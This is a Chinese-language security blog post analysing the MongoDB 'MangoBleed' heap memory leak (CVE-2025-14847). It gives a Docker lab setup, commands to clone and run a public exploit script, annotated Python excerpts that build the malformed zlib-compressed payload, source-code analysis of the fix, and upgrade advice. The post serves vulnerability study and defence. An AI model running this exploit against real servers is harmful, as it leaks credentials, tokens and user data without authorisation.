深度分析MangoBleed(CVE-2025-14847)附利用工具"

admin 2026-10-22 10:54:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

深度分析MangoBleed(CVE-2025-14847)附利用工具

狗头安全
狗头安全

狗头网络安全

2026年1月3日 18:11
四川

在小说阅读器读本章

去阅读

本文分析了CVE-2025-14847漏洞原理、漏洞复现

漏洞简介

类型:无认证远程堆内存泄露

危害:攻击者无需认证即可从服务器内存中提取敏感数据,可能包括数据库凭证、API密钥、会话令牌、用户数据等

漏洞原理

根源在于MongoDB的zlib网络消息压缩处理逻辑:

  • MongoDB支持客户端发送压缩消息,攻击者发送特质畸形的压缩包,在消息头中故意制造长度字段不一致
  • 服务器在解压时会分配过大缓冲区,并错误地将未初始化的堆内存作为有效数据返回给攻击者

  • 此过程多次发送不同偏移的畸形请求,攻击者可逐步提取内存碎片,聚合后可能恢复敏感信息

  • 不是直接RCE,但泄露的凭证可导致后续横向移动或数据窃取

受影响版本

几乎所有2017年以来启用zlib压缩的MongoDB Server版本,包括主流分支:

  • 8.x系列(至8.2.2)
  • 7.0.x、6.0.x、5.0.x、4.4.x等遗留版本

  • 具体:影响4.4、5.0、6.0、7.0、8.0全系列(直到2025年11月版本)

环境搭建

1.docker环境

docker-compose.yml

version: '3.8'
services:  # 受漏洞影响的版本(开启 Zlib)  mongodb-vulnerable:    image: mongo:6.0.14    container_name: mongodb-vulnerable    ports:      - \"27017:27017\"    command: mongod --networkMessageCompressors snappy,zlib
  # 已修复的版本(用于对比测试)  mongodb-patched:    image: mongo:6.0.27    container_name: mongodb-patched    ports:      - \"27018:27017\"    command: mongod --networkMessageCompressors snappy,zlib
volumes:  mongodb-data:  mongodb-patched-data:

拉取镜像

docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.gitchmod +x *.sh./docker-proxy.sh

等镜像源换完,再拉取

docker-compose up -d

漏洞复现

git clone https://github.com/cybertechajju/CVE-2025-14847_Expolit.gitcd CVE-2025-14847_Expolit

创建虚拟环境

python -m venv myenvsource myenv/bin/activate

安装依赖包

pip install -r requirements.txtpython mongobleed_pro.py -h

使用本地的27017漏洞版本测试

python mongobleed_pro.py --target http://localhost:27017

泄露了数据,保存在本地的dump_localhost.bin,loot_localhost.txt

同时测试一下27018端口

没有漏洞

漏洞分析

我们从exp上去分析一下

第一步:

sock = socket.socket()sock.settimeout(3)sock.connect((host, port))  # 尝试连接MongoDB默认端口27017

第二步:

check\_vulnerability()漏洞存在性检测

def check_vulnerability(host, port):    hacker_loading(\"Probing target defenses\", 1)    test_offsets = [100, 500, 1000, 1500, 2000, 3000]    for offset in test_offsets:        response = send_probe(host, port, offset, offset + 500)        if extract_leaks(response):            return True    return False

通过不同的\"偏移量(offset)\"发送请求,只要能从响应中提取到非预期数据,就判定目标漏洞未修复。

第三步:

send\_probe()构造payload

# 1. 构造畸形的BSON文档(MongoDB的数据格式)content = b'\\x10a\\x00\\x01\\x00\\x00\\x00'bson = struct.pack('<i', doc_len) + content  # 伪造文档长度(关键漏洞触发点)
# 2. 封装为MongoDB的OP_MSG消息op_msg = struct.pack('<I', 0) + b'\\x00' + bson
# 3. 压缩消息(触发漏洞的关键操作)compressed = zlib.compress(op_msg)
# 4. 构造最终恶意载荷(包含压缩标识+畸形数据)payload = struct.pack('<I', 2013) + struct.pack('<i', buffer_size) + struct.pack('B', 2) + compressed
# 5. 加上MongoDB协议头,发送给目标header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)sock.sendall(header + payload)
  1. 伪造的BSON文档长度(doc\_len)与实际内容不匹配
  2. 对请求进行zlib压缩后,MongoDB的解压/解析逻辑存在缺陷,导致内存越界读取
  3. 攻击者通过控制doc\_len和buffer\_size(缓冲区大小),精准控制内存读取的范围

第四步:

发送请求并接收泄露数据(send\_probe()后续逻辑)

response = b''while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:    chunk = sock.recv(4096) #持续接受响应(直到完整读取)    if not chunk: break    response += chunk

获取目标返回的、包含内存泄漏数据的响应包

第五步:

提取泄露的内存数据即 extract\_leaks函数

批量提取+敏感信息识别run\_exploit() + analyze\_secrets()

还有保存攻击结果(持久化loot)

攻击总结:

回到源码

https://github.com/mongodb/mongo/blob/r8.0.16/src/mongo/transport/message_compressor_zlib.cpp

原本用于返回解压数据大小的行使用了return {output.length()};这行代码,它告诉代码返回已分配的内存量,而不是解压数据的实际长度。新的return {length};确保只返回解压缩数据的实际长度。

https://github.com/mongodb/mongo/blob/master/src/mongo/transport/message_compressor_zlib.cpp

进一步分析可以发现,在新的src/mongo/transport/message_compressor_manager_test.cpp中多了一个checkUndersize函数

void checkUndersize(const Message& compressedMsg,                    std::unique_ptr<MessageCompressorBase> compressor) {    MessageCompressorRegistry registry;    const auto compressorName = compressor->getName();
    std::vector<std::string> compressorList = {compressorName};    registry.setSupportedCompressors(std::move(compressorList));    registry.registerImplementation(std::move(compressor));    registry.finalizeSupportedCompressors().transitional_ignore();
    MessageCompressorManager mgr(&registry);    BSONObjBuilder negotiatorOut;    std::vector<StringData> negotiator({compressorName});    mgr.serverNegotiate(negotiator, &negotiatorOut);    checkNegotiationResult(negotiatorOut.done(), {compressorName});
    auto swm = mgr.decompressMessage(compressedMsg);    ASSERT_EQ(ErrorCodes::BadValue, swm.getStatus());}

核心逻辑在

mgr.decompressMessage(compressedMsg):调用压缩器管理器解压传入的“异常”的压缩消息

ASSERT\_EQ(ErrorCodes::BadValue, swm.getStatus()):单元测试断言主要目的是验证当传入一个 “尺寸异常(undersize)” 的压缩消息时,消息解压逻辑能正确返回 ErrorCodes::BadValue 错误码

同时在下面也给到了测试用例

重点看一下Zlib的测试用例

TEST(ZlibMessageCompressor, Undersize) {    // 1. 构造Zlib算法的“尺寸异常”二进制消息数据    std::vector<std::uint8_t> payload = {        0x3c, 0x00, 0x00, 0x00, 0xad, 0xde, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdc, 0x07, 0x00,        0x00, 0xdd, 0x07, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x02, 0x78, 0xda, 0x63, 0x60, 0x00,        0x82, 0xdf, 0xf2, 0x0c, 0x0c, 0xac, 0xf1, 0x99, 0x29, 0x0c, 0x0c, 0x02, 0x40, 0x9e, 0x87,        0xab, 0x63, 0x80, 0x8f, 0xab, 0xa3, 0x37, 0x03, 0x12, 0x00, 0x00, 0x6d, 0x26, 0x04, 0x97};
    // 2. 分配缓冲区并拷贝数据    auto buffer = SharedBuffer::allocate(payload.size());    std::copy(payload.begin(), payload.end(), buffer.get());
    // 3. 调用测试函数:传入异常消息 + Zlib压缩器实例    checkUndersize(Message(buffer), std::make_unique<ZlibMessageCompressor>());}
字节范围 含义 对应 payload 值 说明
0-3 消息总长度(小端序 uint32) 0x3c 0x00 0x00 0x00 解析为十进制 60 → 声明消息总长度是 60 字节
4-7 魔数 / 标识 0xad 0xde 0x00 0x00 MongoDB 自定义的压缩消息标识(0xADDE 是固定值)
8-11 保留字段 0x00 0x00 0x00 0x00 无实际意义,占位
12-15 压缩器类型(小端序 uint32) 0xdc 0x07 0x00 0x00 解析为十进制 2012 → 标识这是 Zlib 压缩的数据(不同压缩器有专属数值)
16-19 保留字段 0xdd 0x07 0x00 0x00 占位
20-23 原始数据长度(小端序 uint32) 0x00 0x20 0x00 0x00 解析为十进制 8192 → 声明解压后原始数据长度是 8192 字节
24 压缩算法标识 0x02 Zlib 的算法标识(Snappy 是 0x01,Zstd 是 0x03)
25+ Zlib 压缩数据体 0x78 0xda ... 0x04 0x97 Zlib 格式的压缩数据(但被故意构造为 “尺寸不足”)
  • 头部声明 “原始数据长度是 8192 字节”,但实际的 Zlib 压缩数据体只有 60-25=35 字节 → 远不足以解压出 8192 字节的原始数据,解压逻辑会检测到 “数据尺寸不足”。

漏洞修复

1.立即升级到已修复版本:

立即升级到:

8.2.3、8.0.17、7.0.28、6.0.27、5.0.32、4.4.30

MongoDB Atlas(托管版)已自动修复。

2.临时缓解:

禁用 zlib 压缩

(启动参数:--networkMessageCompressors=snappy,zstd 或配置文件中排除 zlib)

不要将27017端口暴露在互联网

数据库访问设置白名单,不要设置任何ip可访问

免责声明

本文档MongoDB漏洞复现(CVE-2025-14847)所包含的漏洞复现方法、技术细节及利用代码,仅限用于授权的安全测试、教育学习与研究目的。


深度分析MangoBleed(CVE-2025-14847)附利用工具" 网络安全文章

深度分析MangoBleed(CVE-2025-14847)附利用工具"

本文分析MongoDB的MangoBleed漏洞(CVE-2025-14847),该漏洞为无认证远程堆内存泄露,影响2017年以来启用zlib压缩的MongoDB版本。攻击者通过发送畸形压缩消息,使服务器返回未初始化内存数据,可能泄露凭证、会话令牌等敏感信息。文档提供Docker环境搭建步骤、漏洞复现工具使用方法及源码分析,并给出升级到已修复版本或禁用zlib压缩的修复建议。
Velocity使用与安全分析" 网络安全文章

Velocity使用与安全分析"

本文从代码审计角度分析ApacheVelocity模板引擎,涵盖基础使用(HelloWorld案例、单例模式、数组迭代、静态方法调用)及安全风险。文档通过实际代码演示模板注入可能导致RCE的原理,提供开发配置建议与安全实践指南。
解决Il2cppapi混淆,通杀DumpUnityCs文件" 网络安全文章

解决Il2cppapi混淆,通杀DumpUnityCs文件"

该文档探讨了解决Unity游戏Il2CppAPI混淆的方法,通过分析Zygisk-Il2CppDumper项目源码揭示Dumper工作原理,指出API函数名被混淆为乱序字符的问题。作者提出三种解决思路,验证特征码方法无效但发现API调用顺序存在规律,可通过比对未混淆版本定位目标函数,为动态dumpCS文件提供可行方案。
安全圈“露脸”机会!看雪兼职讲师团招新啦" 网络安全文章

安全圈“露脸”机会!看雪兼职讲师团招新啦"

看雪学苑启动兼职讲师招募计划,旨在将安全专家的实战经验转化为系统课程。平台提供内容打磨、工具支持、运营推广等全方位扶持,讲师可获得技术沉淀、个人IP打造、知识变现及大厂内推等核心价值。申请需提交个人资料和课程大纲,通过审核后进入试用期。
评论:0   参与:  0